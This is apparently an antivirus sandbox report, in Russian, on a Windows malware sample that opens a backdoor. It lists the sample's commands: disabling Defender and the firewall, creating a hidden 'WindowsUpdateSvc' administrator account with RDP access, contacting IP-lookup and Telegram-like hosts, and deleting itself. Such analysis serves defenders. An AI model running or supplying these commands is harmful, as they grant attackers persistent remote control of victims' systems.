Техническая информация
Для обеспечения автозапуска и распространения
Устанавливает следующие настройки сервисов
- [HKLM\SYSTEM\CurrentControlSet\Services\TermService] 'Start' = '00000002'
- [HKLM\SYSTEM\CurrentControlSet\Services\IKEEXT] 'Start' = '00000002'
Вредоносные функции
Для обхода брандмауэра удаляет или модифицирует следующие ключи реестра
- [HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile] 'EnableFirewall' = '00000000'
- [HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile] 'EnableFirewall' = '00000000'
Для затруднения выявления своего присутствия в системе
добавляет исключения антивируса:
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Set-MpPreference -DisableRealtimeMonitoring $true -ErrorAction SilentlyContinue" -ExecutionPolicy Bypass
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Set-MpPreference -DisableRealtimeMonitoring $false -ErrorAction SilentlyContinue" -ExecutionPolicy Bypass
Запускает на исполнение
- '<SYSTEM32>\net.exe' user WindowsUpdateSvc MySecurePass123! /add
- '<SYSTEM32>\net.exe' localgroup "Remote Desktop Users" WindowsUpdateSvc /add
- '<SYSTEM32>\netsh.exe' advfirewall firewall set rule group="Remote Desktop" new enable=Yes
- '<SYSTEM32>\netsh.exe' advfirewall firewall set rule group="Удаленный рабочий стол" new enable=Yes
- '<SYSTEM32>\net.exe' stop TermService /y
- '<SYSTEM32>\netsh.exe' advfirewall set allprofiles state off
- '<SYSTEM32>\netsh.exe' advfirewall set allprofiles state on
- '<SYSTEM32>\net.exe' localgroup "Administrators" WindowsUpdateSvc /add
Изменения в файловой системе
Создает следующие файлы
- %APPDATA%\ipcache.dat
- %ALLUSERSPROFILE%\microsoft\crypto\rsa\machinekeys\f686aace6942fb7f7ceb231212eef4a4_8cf7b530-613e-439b-a8c5-ccfc0e745400
Сетевая активность
Подключается к
- 'ap#.#pify.org':443
- 'ip##pi.com':80
- 'ap#.##legram.org':443
TCP
Запросы HTTP GET
- http://ip##pi.com/json/185.93.40.66
Другие
- 'ap#.#pify.org':443
- 'ap#.##legram.org':443
UDP
- DNS ASK ap#.#pify.org
- DNS ASK ip##pi.com
- DNS ASK ap#.##legram.org
Другое
Запускает на исполнение
- '<SYSTEM32>\net1.exe' user WindowsUpdateSvc MySecurePass123! /add
- '<SYSTEM32>\net1.exe' localgroup "Remote Desktop Users" WindowsUpdateSvc /add
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command " $user = "WindowsUpdateSvc" $privilege = "SeRemoteInteractiveLogonRight" $tmp = [System.IO.Path]::GetTempFileName() sec...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command " Get-NetConnectionProfile | ForEach-Object { Set-NetConnectionProfile -InterfaceIndex $_.InterfaceIndex -NetworkCategory Private } ...
- '<SYSTEM32>\sc.exe' config TermService start= auto
- '<SYSTEM32>\net1.exe' stop TermService /y
- '<SYSTEM32>\net.exe' start TermService
- '<SYSTEM32>\net1.exe' start TermService
- '<SYSTEM32>\gpupdate.exe' /force
- '<SYSTEM32>\net1.exe' localgroup "Administrators" WindowsUpdateSvc /add
- '<SYSTEM32>\net.exe' localgroup "Administrators"
- '<SYSTEM32>\net1.exe' localgroup "Administrators"
- '<SYSTEM32>\cmd.exe' /C timeout 3 >nul & del /F /Q "<Полный путь к файлу>"
- '<SYSTEM32>\timeout.exe' 3
